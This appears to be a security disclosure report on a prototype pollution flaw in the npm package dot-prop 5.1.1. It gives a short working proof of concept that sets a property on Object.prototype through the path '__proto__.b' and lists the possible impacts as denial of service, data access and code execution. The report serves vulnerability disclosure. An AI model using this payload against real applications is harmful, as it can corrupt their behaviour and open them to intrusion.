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Prototype pollution in dot-prop

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I would like to report a parameter pollution in dot-prop

It allows an attacker to modify the prototype of a base object which can vary in severity depending on the implementation (DoS, access to sensitive data, RCE).

Module

module name: dot-prop

version: 5.1.1

npm page: <https://www.npmjs.com/package/dot-prop>

Module Description

Get, set, or delete a property from a nested object using a dot path

Module Stats

weekly downloads:

8,627,892

Vulnerability

Vulnerability Description

See previous description

Steps To Reproduce:

Code 178 Bytes

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```
1 var dotProp = require("dot-prop")
2 const object = {};
3 console.log("Before " + object.b); //Undefined
4 dotProp.set(object, '__proto__.b', true);
5 console.log("After " + {}.b); //true
```

Wrap up

Select Y or N for the following statements:

- I contacted the maintainer to let them know: N
- I opened an issue in the related repository: N

Impact

Can result in: dos, access to restricted data, rce (depends on implementation)

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